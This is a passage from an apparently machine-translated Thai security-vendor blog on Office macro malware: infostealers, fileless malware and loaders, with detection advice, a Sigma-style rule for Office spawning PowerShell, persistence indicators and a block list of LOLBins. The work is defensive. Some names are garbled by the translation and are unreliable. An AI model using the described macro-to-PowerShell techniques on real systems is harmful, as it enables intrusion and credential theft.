ผู้ขโมยข้อมูลจะรวบรวมข้อมูลจากระบบของเหยื่ออย่างเงียบๆ รวมถึงข้อมูลการเข้าสู่ระบบ ประวัติเบราว์เซอร์ คุกกี้ เนื้อหาคลิปบอร์ด ข้อมูลบัตรเครดิตที่บันทึกไว้ และแม้แต่กระเป๋าสตางค์สกุลเงินดิจิทัล

การใช้งานมาโคร:

• แมโคร VBA รันสคริปต์ไปที่ดาวน์โหลดและเรียกใช้ EXE payloadในไดเรกทอรีชั่วคราว
  
• เพย์โหลดจะดึงข้อมูลจากที่จัดเก็บในเครื่องเพื่อหาข้อมูลประจำตัวและส่งผ่าน HTTP POST
  
• มักประกอบด้วยต่อต้าน VM,ต่อต้านแซนด์บ็อกซ์และป้องกันการแก้ไขเทคนิค
  

นักขโมยข้อมูลยอดนิยม:

• ฟอร์มบุ๊ค
  
• เส้นสีแดง
  
• วิดาร์
  
• โลกิบอต
  

ตัวชี้วัดทางเทคนิค:

• การรับส่งข้อมูลเครือข่ายที่มีคำขอ POST ที่เข้ารห��ส base64
  
• ข้อมูลที่เก็บเกี่ยวถูกบีบอัดและกรองไปยังเซิร์ฟเวอร์ C2
  
• ความคงทนผ่านงานที่กำหนดเวลาไว้และคีย์รีจิสทรี
  

5.  มัลแวร์ไร้ไฟล์

คำอธิบาย:

แตกต่างจากมัลแวร์ทั่วไปตรงที่มัลแวร์ที่ไม่มีไฟล์อยู่ในหน่วยความจำทั้งหมด มันหลีกเลี่ยง���ารเขียนอะไรลงดิสก์ ทำให้เป็นลึกลับสุดๆและยากกว่าที่ซอฟต์แวร์ป้องกันไวรัสจะตรวจพบ

การดำเนินการมาโคร:

• แมโคร VBA เปิดตัวอย่างสับสนPowerShell แบบซับเดียว
  
• โค้ดจะแทรกเชลล์โค้ดหรือเพย์โหลดลงในหน่วยความจำโดยตรงโดยใช้ Inrigg-Expression (IEX)
  
• ใช้เครื่องมือเช่นตัวโหลดโดนัท,การฉีด DLL แบบสะท้อนแสง, หรือจักรวรรดิ PowerShell
  

ตัวอย่าง:

• อพาร์ทเมนท์29และFIN7กลุ่มต่างๆ ได้ใช้มาโครเพื่อปรับใช้มัลแวร์ที่ไม่มีไฟล์สำหรับการจารกรรมและการเคลื่อนไหวด้านข้างภายในเครือข่ายองค์กร
  

ตัวชี้วัดทางเทคนิค:

• PowerShell วางไข่จาก winword.exe หรือ excel.exe
  
• ไม่มีไบนารีที่เขียนลงดิสก์
  
• การวิเคราะห์หน่วยความจำเผยให้เห็นเชลล์โค้ดที่ถูกแทรกในกระบวนการที่ถูกต้อง
  

6.  ตัวดาวน์โหลดและตัวโหลด

คำอธิบาย:

โปรแกรมเหล่านี้เป็นโปรแกรมขนาดเล็กที่มีหน้าที่เพียงดาวน์โหลดและรันมัลแวร์รองโดยทั่วไปจะใช้ในการโจมตีแบบหลายขั้นตอน

มาโครเกี่ยวข้องอย่างไร:

• มาโครปล่อยสคริปต์ตัวโหลดเช่นGootLoader,ZLoader, หรือSmokeLoader
  
• ตัวโหลดเชื่อมต่อกับ C2 ดึงข้อมูลเพย์โหลดที่เข้ารหัสหรือโพลีมอร์ฟิก
  
• มัลแวร์ขั้นต่อไปจะถูกดำเนินการแบบไดนามิก โดยมักจะใช้กระบวนการแทรก
  

ตัวชี้วัดทางเทคนิค:

• เอกสาร Office เริ่มต้นมีขนาดน้อยที่สุด
  
• ความล่าช้าของสคริปต์หรือตรรกะการหลีกเลี่ยงแซนด์บ็อกซ์ปรากฏ
  
• ลักษณะการทำงานของเพย์โหลดระยะที่สองจะแตกต่างกันไปตามเวลา ภูมิศาสตร์ หรือภาษา
  

ประเภทมัลแวร์	วัตถุประสงค์หลัก	ส่งผ่านมาโครโดยใช้	พฤติกรรมที่สำคัญ	ตัวอย่างที่โดดเด่น	ความยากในการตรวจจับ
แรนซัมแวร์	เข้ารหัสไฟล์เพื่อเรียกค่าไถ่	PowerShell / certutil / LOLBins	เข้ารหัสไฟล์ท้องถิ่นและเครือข่าย ลดบันทึกค่าไถ่	ริวก์, ล็อคบิต, เขาวงกต	⚠️ ปานกลาง
โทรจันการเข้าถึงระยะไกล (RAT)	รีโมทคอนโทรลเต็มรูปแบบ	VBScript / DLL หล่น / การคงอยู่ของรีจิสทรี	VBScript / DLL ดรอป/การคงอยู่ของรีจิสทรี	NanoCore, AgentTesla, ควอซาร์	✅ สูง
โทรจันการธนาคาร	ขโมยข้อมูลรับรองธนาคาร	Office VBA → PowerShell → EXE	การแทรกเบราว์เซอร์, การแทรกเว็บ, การดึงฟอร์ม	Dridex, Ursnif, TrickBot	✅ สูง
ผู้ขโมยข้อมูล	กรองข้อมูลรับรองและข้อมูลเซสชัน	สคริปต์ที่สับสนและการดาวน์โหลดเพย์โหลด	ขโมยรหัสผ่าน คุกกี้ ข้อมูลคลิปบอร์ด ไฟล์กระเป๋าเงินดิจิตอล	RedLine, Vidar, FormBook	✅ สูง
มัลแวร์ไร้ไฟล์	การดำเนินการซ่อนตัวในหน่วยความจำ	PowerShell หนึ่งสมุทร (IEX)	กา��ฉีด DLL แบบสะท้อน ไม่มีการทำงานของดิสก์ หลบเลี่ยง AV ดั้งเดิม	เครื่องมือ FIN7 เอ็มไพร์	✅✅สูงมาก
ตัวดาวน์โหลด / ตัวโหลด	ส่งเพย์โหลดขั้นที่สอง	มาโคร → ต้นขั้วขนาดเล็ก → การดึงข้อมูล C2	ดาวน์โหลดและเรียกใช้เพย์โหลด การหลีกเลี่ยงแซนด์บ็อกซ์ การตั้งค่าการคงอยู่	GootLoader, ZLoader	✅ สูง

วิธีตรวจจับการโจมตีแบบมาโคร

การตรวจจับการโจมตีแบบมาโครต้องใช้การมองเห็นปลายทาง,การวิเคราะห์บันทึกและการตรวจสอบพฤติกรรมผู้ใช้.

เนื่องจากมาโครใช้ประโยชน์จากสำนักงานที่ถูกต้องตามกฎหมายฟังก์ชั่นและสามารถดำเนินการสคริปต์ลับๆโซลูชันแอนติไวรัสแบบเดิมมักจะพลาดไป ด้า���ล่างนี้คือเทคนิคและเครื่องมือที่มีประสิทธิภาพที่ทีมสีน้ำเงินและนักวิเคราะห์ SOC ใช้ในการตรวจจับกิจกรรมมาโครที่เป็นอันตราย

1. ตรวจสอบแผนผังกระบวนการระหว่างพ่อแม่และลูกที่น่าสงสัย

โดยทั่วไปแล้วมาโครที่เป็นอันตรายจะทำให้เกิดพฤติกรรมการวางไข่ของกระบวนการที่ผิดปกติเช่น:

• WINWORD.EXE → POWERSHELL.EXE
  
• EXCEL.EXE → CMD.EXE → BITSADMIN.EXE
  
• OUTLOOK.EXE → MSHTA.EXE
  

ใช้อีดีอาร์เครื่องมือเช่นMicrosoft Defender สำหรับปลายทาง,คราวด์สไตรค์, หรือเซนทิเนลวันเพื่อแจ้งเตือนเกี่ยวกับห่วงโซ่กระบวนการที่ผิดปกติที่เกี่ยวข้องกับแอป Office

2. ตัวอย่างกฎ SIEM สำหรับการตรวจจับแบบมาโคร

ต่อไปนี้เป็นวิธีง่ายๆตรรกะสไตล์กฎซิกมาสำหรับการตรวจจับการประมวลผลแมโครผ่าน PowerShell:

ชื่อ: PowerShell วางไข่ของแอป Office

แหล่งที่มาของบันทึก:

หมวดหมู่: process_creation

ผลิตภัณฑ์: Windows

การตรวจจับ:

การเลือก:

ParentImage|ประกอบด้วย:

– 'winword.exe'

– 'excel.exe'

– 'powerpnt.exe'

รูปภาพ | ลงท้ายด้วย: 'powershell.exe'

เงื่อนไข: การเลือก

บูรณาการเข้ากับ SIEM เช่นสะลึมสะลือ,ยางยืด (ELK), หรือMicrosoft Sentinel.

3. ตรวจสอบรีจิสทรีและสิ่งประดิษฐ์ของระบบไฟล์

มาโครที่เป็นอันตรายมักจะสร้างกลไกการคงอยู่ชอบ:

• เส้นทางรีจิสทรี:
  
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    
  • HKCU\Software\Microsoft\Office\<เวอร์ชัน>\Word\Security
    
• วางไฟล์ใน:
  
  • %APPDATA%, %TEMP% หรือโฟลเดอร์เริ่มต้นระบบ
    
  • ไฟล์ .vbs, .ps1, .lnk
    

ใช้ซิสมอนและวาซูหรือเวโลซิแรปเตอร์เพื่อตรวจสอบการแก���ไขรีจิสทรีและไฟล์ที่ตกหล่น

4. ตรวจจับพฤติกรรมเครือข่ายที่น่าสงสัย

มาโครมักจะ:

• เริ่มต้นคำขอ HTTP/HTTPSไปยังโดเมนที่ไม่รู้จัก
  
• บีคอนถึงคำสั่งและการควบคุม (C2)เซิร์ฟเวอร์
  
• ใช้ user-agent ที่ไม่ใช่เบราว์เซอร์ เช่น Microsoft Office Word 12.0
  

เครื่องมือเช่นซีค,ซูริกาตาหรือ. ของคุณ NGFW (ไฟร์วอลล์รุ่นต่อไป)สามารถตรวจจับความผิดปกติเหล่านี้ได้
รวมฟีดข้อมูลภัยคุกคามเพื่อเชื่อมโยงปริมาณการรับส่งข้อมูลขาออก

5. แซนด์บ็อกซ์เชิงพฤติกรรม

ใช้เครื่องมือวิเคราะห์แบบไดนามิกเพื่อระเบิดเอกสาร Office ในสภาพแวดล้อมแบบแซนด์บ็อกซ์(เช่นJoe Sandbox,Any.Run,Hybrid Analysis) เครื่องมือเหล่านี้เปิดเผย:

• การดำเนินการแมโคร VBA
  
• คำสั่ง PowerShell
  
• การเขียนไฟล์และกิจกรรมเครือข่าย
  
• ความพยายามที่จะหลบเลี่ยงแซนด์บ็อกซ์ด้วยความล่าช้าหรือการตรวจสอบสภาพแวดล้อม
  

6. การตรวจจับความผิดปกติตามผู้ใช้

ติดตามความผิดปกติในพฤติกรรมของผู้ใช้ เช่น:

• จู่ๆ ผู้ที่ไม่ใช่ผู้ดูแลระบบก็เรียกใช้ PowerShell ผ่าน Word
  
• การเปิดใช้งานมาโครจากเอกสารภายนอกซ้ำแล้วซ้ำอีก
  
• การเข้าถึงไฟล์ที่ละเอียดอ่อนหลังจากเปิดเอกสารที่เปิดใช้งานมาโครได้ไม่นาน
  

ใช้ยูฟ่า(การวิเคราะห์พฤติกรรมผู้ใช้และเอนทิตี) เพื่อเชื่อมโยงความผิดปกติตามมาโครกับการให้คะแนนความเสี่ยงของผู้ใช้

เครื่องมือตรวจจับที่แนะนำ:

เครื่องมือ	ใช้กรณี
Sysmon + ELK สแต็ค	การวัดและส่งข้อมูลทางไกลระดับต่ำ + ความสัมพันธ์ของบันทึก
Microsoft Defender ATP	การตรวจจับปลายทาง + การสแ��นหน่วยความจำ
เวโลซิแรปเตอร์	การตรวจสอบทางนิติเวชปลายทาง (โอเพ่นซอร์ส)
กฎซิกมา	ตรรกะการตรวจจับตาม SIEM
ซีค + ซูริกาต้า	การตรวจจับมาโครระดับเครือข่าย
CAPE Sandbox / Any.Run	การระเบิดของเอกสารแ���ะการติดตามเพย์โหลด

เคล็ดลับ: รวมเลเยอร์ Telemetry

วิธีเพิ่มความมั่นใจในการตรวจจับ:

• สัมพันธ์กันบันทึกการสร้างกระบวนการ+รีจิสทรีเขียน+การสอบถาม DNS
  
• แจ้งเต���อนเมื่อกระบวนการย่อยของ Office,PowerShell พร้อมอาร์กิวเมนต์ที่สับสน, หรือการเข้าชมเว็บที่ไม่ใช่เบราว์เซอร์

มาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์ในองค์กรอย่างไร

ในสภาพแวดล้อมขององค์���ร โดยทั่วไปมีการใช้มาโครเพื่อทำให้งานประจำในแผนกการเงิน ทรัพยากรบุคคล การดำเนินงาน และห่วงโซ่อุปทานเป็นอัตโนมัติ

อย่างไรก็ตาม การทำงานที่ถูกต้องตามกฎหมายนี้มักมาพร้อมกับภัยคุกคามที่ซ่อนอยู่มาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์ได้อย่างไร?

เมื่อใช้ในทางที่ผิด พวกมันสามารถใช้เป็นสิ่งแอบแฝงช่องสำหรับการส่งมัลแวร์ ทำให้เกิดการผสมผสานระหว่างความสะดวกสบายและช่องโหว่ที่เป็นอันตราย

ด้านล่างนี้คือมาโครความเสี่ยงด้านความปลอดภัยทางไซเบอร์ที่สำคัญซึ่งเกิดขึ้นกับองค์กรและเครือข่ายองค์กรโดยเฉพาะ

1. มาโครใช้ประโยชน์จากความน่าเชื่อถือในเวิร์กโฟลว์ภายใน

พนักงานมักจะได้รับเอกสารผ่าน:

• การส่งต่ออีเมลภายใน
  
• ไดรฟ์เครือข่ายที่ใช้ร่วมกัน
  
• แพลตฟอร์มการทำงานร่วมกัน เช่น Teams หรือ SharePoint
  

ผู้โจมตีใช้ประโยชน์จากความไว้วางใจนี้โดย:

• การฝังมาโครที่เป็นอันตรายในเอกสารที่ดูเหมือนว่ามาจากผู้ใช้ภายในหรือพันธมิตรทางธุรกิจ
  
• การใช้การฉีดเทมเพลตหรือการปลอมแปลงเนื้อหาเพื่อเลี่ยงการตรวจสอบขั้นพื้นฐาน
  

คลิกเพียงครั้งเดียวที่ "เปิดใช้งานเนื้อหา" สามารถส่งผลกระ���บต่อหน่วยธุรกิจทั้งหมดได้

2. มาโครเปิดใช้งานการเคลื่อนไหวด้านข้างผ่านเครือข่าย

หลังจากการประนีประนอมครั้งแรก:

• ผู้โจมตีสามารถใช้สคริปต์ PowerShellหรือการทิ้งข้อมูลรับรองเ��รื่องมือที่ส่งโดยแมโคร
  
• ใช้ประโยชน์จากบัญชีที่ถูกบุกรุกเพื่อย้ายด้านข้าง (เช่น จากการเงินไปยังระบบไอที)
  
• ใช้เครื่องมือดำเนินการระยะไกล (เช่น PsExec, WMI) เพื่อกระจายเพย์โหลด
  

ในเหตุการณ์แรนซัมแวร์จำนวนมาก จุดติดไวรัสเริ่มต้นคือเอกสารที่เปิดใช้งานมาโครซึ่งส่งไปยังผู้ใช้ที่มีสิทธิ์ต่ำ

3. มาโครกำหนดเป้าหมายแผนกที่มีมูลค่าสูง

มาโครมักใช้เพื่อโจมตีแผนกที่:

• จัดการข้อมูลที่ละเอียดอ่อน(ทรัพยากรบุคคล กฎหมาย การเงิน)
  
• สามารถเข้าถึงระบบการชำระเงินหรือฐานข้อมูลภายใน
  
• เปิดเอกสารภายนอกบ่อยครั้งจากผู้ขายหรือลูกค้า
  

ตัวอย่าง: ใบแจ้งหนี้ปลอมที่มีมาโครที่แพร่ระบาดไปยังทีมบัญชีเจ้าหนี้อาจนำไปสู่การฉ้อโกงทางการเงินหรือการบิดเบือนการโอนเงิน

4. หลายองค์กรไม่บล็อกมาโครตามค่าเริ่มต้น

แม้กระทั่งวันนี้:

• สภาพแวดล้อม Microsoft 365 จำนวนมากยังคงอยู่อนุญาตให้ใช้มาโครในเอกสารที่เชื่อถือได้
  
• Group Policy Objects (GPO) มักได้รับการกำหนดค่าไม่ถูกต้องหรือล้าสมัย
  
• มาโครจากการแชร์บนคลาวด์หรือไฟล์แนบอีเมลยังคงสามารถเรียกใช้งานได้
  

ช่องว่างในการกำกับดูแลแมโครนี้สร้างจุดเริ่มต้นที่มีอุปสรรคต่ำสำหรับผู้แสดงภัยคุกคาม.

5. มาโครสามารถหลบเลี่ยงการควบคุมความปลอดภัยขององค์กร

มัลแวร์มาโครที่ซับซ้อนมักใช้:

• ทำให้งงงวย(เช่น การแยกสตริง การเข้ารหัส Chr())
  
• เทคนิคการใช้ชีวิตนอกที่ดิน(PowerShell, mshta, certutil)
  
• เพย์โหลดที่ไม่มีไฟล์ที่อยู่ในความทรงจำ
  

พฤติกรรมเหล่านี้:

• บายพาสโปรแกรมป้องกันไวรัสแบบดั้งเดิม (AV)
  
• ตรวจไม่พบโดยระบบตรวจจับการบุกรุกแบบเดิม (IDS)
  
• ใช้ประโยชน์จากพฤติกรรมของแอปพลิเคชัน Office ที่ไม่ได้รับการตรวจสอบ
  

6. ความเสี่ยงด้านการปฏิบัติตามกฎระเบียบและกฎหมาย

การละเมิดที่กระตุ้นโดยแมโครอาจทำให้องค์กร:

• การละเมิด GDPR, HIPAA หรือ PCI-DSSหากข้อมูลที่ละเอียดอ่อนถูกบุกรุก
  
• ผลทางกฎหมายสำหรับการจัดการข้อมูลในทางที่ผิด
  
• การสูญเสียความไว้วางใจของลูกค้าและชื่อเสียงทางธุรกิจ
  

7. ยากต่อการฝึกอบรมผู้ใช้ที่ไม่ใช่ด้านเทคนิค

มาโครต้องการให้ผู้ใช้ตัดสินใจเกี่ยวกับการเปิดใช้งานหรือบล็อกพวกเขา ในองค์กรขนาดใหญ่:

• การรับรู้ด้านความปลอดภัยไม่สอดคล้องกัน
  
• พนักงานอาจเปิดใช้งานเนื้อหาที่ไม่เป็นน��สัย
  
• ผู้โจมตีใช้วลีวิศวกรรมสังคมเช่น:
  
  
  “เปิดใช้งานเนื้อหาเพื่อดูเอกสารอย่างถูกต้อง”

กรณีศึกษาในโลกแห่งความเป็นจริง:

ในบริษัทโลจิสติกส์ข้ามชาติ ใบแจ้งหนี้ Excel ที่ใช้งานมาโครติดไวรัสที่จุดสิ้นสุดหนึ่งจุด ภายในไม่กี่ชั่วโมง ผู้โจมตีก���ย้ายออกไปด้านข้างโดยใช้ข้อมูลประจำตัว AD ที่ถูกขโมย และปรับใช้แรนซัมแวร์ในระบบมากกว่า 700 ระบบ

วิธีป้องกันการโจมตีแบบมาโคร: แนวทางปฏิบัติที่ดีที่สุด

ในสภาพแวดล้อมขององค์กร การห้ามมาโครโดยสิ้นเชิงอาจไม่สามารถทำได้เนื่องจากกรณีการใช้งานทางธุรกิจที่ถูกต้องตามกฎหมาย องค์กรต่างๆ จะต้องนำมาใช้แท�� กลยุทธ์การป้องกันแบบหลายชั้นที่สมดุลระหว่างการใช้งานกับความปลอดภัย

ด้านล่างนี้เป็นคำแนะนำที่ครอบคลุมในทางเทคนิคในการป้องกันการโจมตีแบบมาโครโดยไม่กระทบต่อขั้นตอนการปฏิบัติงาน

1. บล็อกมาโครในไฟล์จากอินเทอร์เน็ต (MotW Control)

Microsoft เปิดตัวฟีเจอร์ในแอป Office เพื่อบล็อกมาโครในเอกสารทำเครื่องหมายว่าดาวน์โหลดจากเว็บโดยใช้เครื่องหมายของเว็บ (MotW)คุณลักษณะ. สิ่งนี้จะหยุดเวกเตอร์การโจมตีที่พบบ่อยที่สุด: ไฟล์แนบฟิชชิ่งและการดาวน์โหลด.

วิธีเปิดใช้งาน:

ใช้นโยบายกลุ่มหรือ Microsoft Intune:

เส้นทาง: การกำหนดค่าผู้ใช้ → เทมเพลตผู้ดูแลระบบ → Microsoft Office [เวอร์ชัน] → การตั้งค่าความปลอดภัย → ศูนย์ความเชื่อถือ

การตั้งค่า: บล็อกมาโครไม่ให้ทำงานในไฟล์ Office จากอินเทอร์เน็ต → ��ปิดใช้งาน

• ใช้กับ .docm, .xlsm, .pptm, .xlam
  

ประโยชน์ที่ได้รับ: บล็อกมาโครในไฟล์ด้วย MotW (Zone.Identifier) ​​โดยไม่กระทบต่อเวิร์กโฟลว์แมโครภายใน

2. ปิดการใช้งานมาโครทั้งหมดโดยใช้นโยบายกลุ่ม

สำหรับสภาพแวดล้อมที่มีความปลอดภัยสูงซึ่งไม่จำเป็นต้องใช้มาโคร จะต้องปิดการใช้งานฟังก์ชันมาโครคือตัวเลือกที่ดีที่สุด

การกำหนดค่า:

เส้นทาง GPO:

การกำหนดค่าผู้ใช้ → เทมเพลตผู้ดูแลระบบ → Microsoft Office → การตั้งค่าความปลอดภัย → การตั้งค่าการแจ้งเตือนแมโคร VBA

• การตั้งค่าที่แนะนำ:
    “ปิดการใช้งานมาโครทั้งหมดโดยไม่มีการแจ้งเตือน”
  

ซึ่งจะป้องกันการเรียกใช้แมโครทั้งหมดรวมถึงจากเอกสารที่ลงนามเสนอการป้องกันสูงสุด.

ใช้ใน SOC แผนกกฎหมาย และตำแหน่งข้อมูลของผู้บริหารที่การใช้งานมาโครไม่ได้เป็นส่วนหนึ่งของงานประจำ

3. เปิดใช้งานและบังคับใช้มุมมองที่ได้รับการป้องกัน

มุมมองที่ได้รับการป้องกันเปิดไฟล์ Office ที่อาจมีความเสี่ยงในคอนเทนเนอร์แบบแซนด์บ็อกซ์แบบอ่านอย่างเดียวไม่อนุญาตให้ดำเนินการแมโครใด ๆ จนกว่าจะเชื่อถือได้อย่างชัดเจน

วิธีเปิดใช้งาน:

ไปที่:

• ไฟล์ → ตัวเลือก → ศูนย์ความเชื่อถือ → การตั้งค่าศูนย์ความเชื่อถือ → มุมมองที่ได้รับการป้องกัน
  
• เปิดใช้งานช่องทำเครื่องหมายทั้งหมด:
  
  • “เปิดใช้งานมุมมองที่ได้รั���การป้องกันสำหรับไฟล์ที่มาจากอินเทอร์เน็ต”
    
  • “เปิดใช้งานมุมมองที่ได้รับการป้องกันสำหรับไฟล์แนบ Outlook”
    
  • “เปิดใช้งานมุมมองที่ได้รับการป้องกันสำหรับไฟล์ที่อยู่ในตำแหน่งที่อาจไม่ปลอดภัย”
    

วิธีนี้จะป้องกันไม่ให้ผู้ใช้รันโค้ดที่ฝังอยู่ในไฟล์ที่ไม่น่าเชื่อถือ เว้นแต่ว่าพวกเขาจะออกจากมุมมองที่ได้รับการป้องกันโดยเฉพาะ

4. การฝึกอบรมการตระหนักรู้ด้านความปลอดภัยสำหรับผู้ใช้ปลายทาง

แม้ว่าจะมีการควบคุมทางเทคนิค ผู้ใช้ยังคงเป็นเป้าหมายหลักสำหรับวิศวกรรมสังคม มาโครมักจะมาพร้อมกับข้อความเช่น:

“เอกสารนี้ถู���เข้ารหัส โปรดเปิดใช้งานเนื้อหาเพื่อดู”

สิ่งจำเป็นในการฝึกอบรม:

• จำลองการโจมตีแบบฟิชชิ่งแบบมาโครโดยใช้เครื่องมือเช่นโกฟิชหรือโปรแกรมจำลองการโจมตีของ Microsoft
  
• ดำเนินการรายไตรมาสแค��เปญการรับรู้ฟิชชิ่งแบบมาโคร
  
• ให้ตัวอย่างการละเมิดในชีวิตจริงที่เกิดจากการใช้มาโครในทางที่ผิด
  

ฝึกอบรมผู้ใช้ให้ไม่เคยเปิดใช้งานมาโครในไฟล์แนบอีเมลหรือเอกสารที่ดาวน์โหลด เว้นแต่ว่ามาจากเวิร์กโฟลว์ภายในที่ได้รับอนุมัติ.

5. ใช้การควบคุมแอปพลิเคชัน: AppLocker / Microsoft Defender Application Control (MDAC)

ผู้โจมตีมักใช้ประโยชน์จากไบนารีที่อาศัยอยู่นอกที่ดิน (LOLBins)เช่น PowerShell, WMI, mshta และ certutil ที่เรียกใช้จากโค้ดแมโคร

การป้องกันผ่าน AppLocker/MDAC:

• จำกัดการดำเนินการของ:
  
  • powershell.exe
    
  • wscript.exe, cscript.exe
    
  • mshta.exe
    
  • regsvr32.exe
    
• บังคับใช้นโยบายแมโคร:
  
  • อนุญาตเฉพาะมาโครที่เซ็นชื่อเท่านั้น
    
  • บล็อกสคริปต์ที่ไม่ได้ลงนามหรือสคริปต์ base64 ที่สร้างความสับสน
    

MDAC ให้การควบคุมอย่างละเอียดว่าสคริปต์และไบนารีใดที่สามารถดำเนินการได้ แม้จะมาจากแอปพลิเคชันที่เชื่อถือได้ เช่น Microsoft Office

6.  รักษาความปลอดภัยอีเมลและเกตเวย์ปลายทางของคุณ

เนื่องจากมาโครมักจะเข้าสู่องค์กรผ่านอีเมล์การรัก���าความปลอดภัยเลเยอร์อีเมลของคุณเป็นสิ่งสำคัญ

แนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยของอีเมล:

• ใช้เกตเวย์อีเมลที่ปลอดภัยที่เปิดใช้งานแซนด์บ็อกซ์:
  
  • Microsoft Defender สำหรับ Office 365
    
  • จุดพิสูจน์ TAP
    
  • การป้อง���ันภัยคุกคามแบบกำหนดเป้าหมาย Mimecast
    
• ถอดหรือกักเก็บไฟล์แนบ .docm, .xlsm, .pptm
  
• ใช้DMARC,ดีคิมและเอสพีเอฟสำหรับการตรวจสอบอีเมล
  
• เปิดใช้งานก���รล้างข้อมูลอัตโนมัติแบบ Zero-Hour(ZAP) ใน Microsoft 365 เพื่อลบอีเมลฟิชชิ่งย้อนหลัง
  

เพิ่มเครื่องมือ EDR (เช่น Defender ATP, CrowdStrike, SentinelOne) เพื่อตรวจจับ Office ที่สร้างกระบวนการที่ผิดปกติ

7.  ใช้มาโครที่เซ็นชื่อแบบดิจิทัลและรายการมาโครที่อนุญาต

หากธุรกิจของคุณต้องใช้มาโคร:

• ลงนามมาโครภายในแบบดิจิทัลโดยใช้ผู้ออกใบรับรององค์กร
  
• กำหนดค่า Office เป็นเรียกใช้มาโครที่ลงนามเท่านั้น
  

อย่างไร:

• ใช้ SelfCert.exe เพื่อสร้างใบรับรองการทดสอบหรือผสานรวมกับ PKI ของคุณ
  
• ในการตั้งค่าศูนย์ความเชื่อถือ:
  
  • ตรวจสอบ“ปิดการใช้งานมาโครทั้งหมด ยกเว้นมาโครที่เซ็นชื่อแบบดิจิทัล”
    

รวมสิ่งนี้เข้ากับรายการที่อนุญาตพิเศษของมาโครอนุญาตให้เฉพาะมาโครที่ได้รับการอนุมัติล่วงหน้าเท่านั้นที่จะดำเนินการได้

ความคิดสุดท้าย

ดังนั้นมาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์ได้อย่างไร?คำตอบอยู่ที่ลักษณะที่เป็นคู่ของมัน แม้ว่ามาโครได้รับการออกแบบมาเพื่อเพิ่มประสิทธิภาพการทำงานโดยการทำงานอัตโนมัติใน Microsoft Office แต่ผู้โจมตีก็สามารถติดอาวุธมาโครเพื่อส่งแรนซัมแวร์ โทรจันเข้าถึงระยะไกล มัลแวร์ธนาคาร และเพย์โหลดที่เป็นอันตรายอื่นๆ ได้อย่างง่ายดา���พอๆ กัน

สำหรับองค์กรและบุคคล อันตรายที่แท้จริงไม่ได้มาจากมาโคร แต่มาจากนโยบายความปลอดภัยไม่เพียงพอ ขาดความตระหนักรู้ และทัศนวิสัยไม่ดีเข้าสู่ลักษณะการทำงานของไฟล์ Office

ในโลกที่อีเมลฟิชชิ่งและไฟล์แนบที่เป็นอันตรายคือ#1 เวกเตอร์การโจมตีการคลิก "เปิดใช้งานเนื้อหา" ง่ายๆ อาจเป็นจุดเริ่มต้นของการละเมิดเต็มรูปแบบ

ประเด็นสำคัญ:

• ปฏิบัติต่อเอกสารที่เปิดใช้งานมาโคร (.docm, .xlsm, .pptm) ​​ด้วยความสงสัยเสมอ
• ใช้การป้องกันแบบหลายชั้น รวมถึงการชุบแข็ง GPO,อีดีอาร์,แซนด์บ็อกซ์และการฝึกอบรมผู้ใช้
• ปิดใช้งานมาโครเว้นแต่จำเป็น และใช้การลงนามมาโครและไวท์ลิสต์ในกรณีที่จำเป็น
• ตรวจสอบพฤติกรรมของแอป Office อย่างใกล้ชิด โดยเฉพาะอย่างยิ่งเมื่อพวกมันสร้างกลไกการเขียนสคริปต์ เช่น PowerShell หรือ MSHTA

ต้องการความช่วยเหลือในการรักษาสภาพแวดล้อมในสำนักงานของคุณใช่ไหม

กังวลว่ามาโครก่อให้เกิดความเสี่ยงด้านความปลอดภัยทางไซเบอร์ต่อองค์กรของคุณอย่างไร
อย่าปล่อยให้ระบบของคุณเสี่ยงต่อการคลิกเพียงครั้งเดียว

• รับฟรีการตรวจสอบพื้นผิวการโจมตีมาโคร
• ระบุขั้นตอนการทำงานที่มีความเสี่ยงสูงและพฤติกรรมผู้ใช้
• รับคำแนะนำในการปรับปรุงประสิทธิภาพที่นำไปปฏิบัติได้สำหรับ Microsoft 365

ติดต่อทีมรักษาความปลอดภัยของ CyberLad และก้าวแรกสู่การปิดช่องว่างที่สำคัญนี้ในรูปแบบการรักษาความปลอดภัยของคุณ